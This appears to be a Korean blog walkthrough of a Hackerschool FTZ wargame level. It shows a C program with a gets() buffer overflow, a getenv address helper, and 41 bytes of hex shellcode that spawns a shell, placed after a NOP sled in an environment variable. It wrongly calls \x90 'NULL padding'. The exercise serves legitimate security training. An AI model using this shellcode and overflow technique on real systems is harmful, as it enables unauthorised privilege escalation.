2017/01/12 - [Study :)/FTZ] - [해커스쿨] FTZ level18 풀이과정
main() { char buf[20]; gets(buf); printf("%s\n",buf); }
힌트를 보면,
buf사이즈는 20Byte이다.
buf에 쉘코드를 넣기에는 작은 사이즈이므로, 환경변수에 쉘코드를 넣고 시작하자.
//getenv.c main(){ printf("[%08p]\n", getenv("SHELL") ); }
ShellCode(41Byte) \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
환경변수에 "\x90"(NULL패딩)을 100Byte넣어주고 쉘코드를 넣어주었다.
hint를 보면 표준입력으로 입력받으므로 level12(http://eunice513.tistory.com/57)를 참고하여 입력을 넘기면 될 듯하다.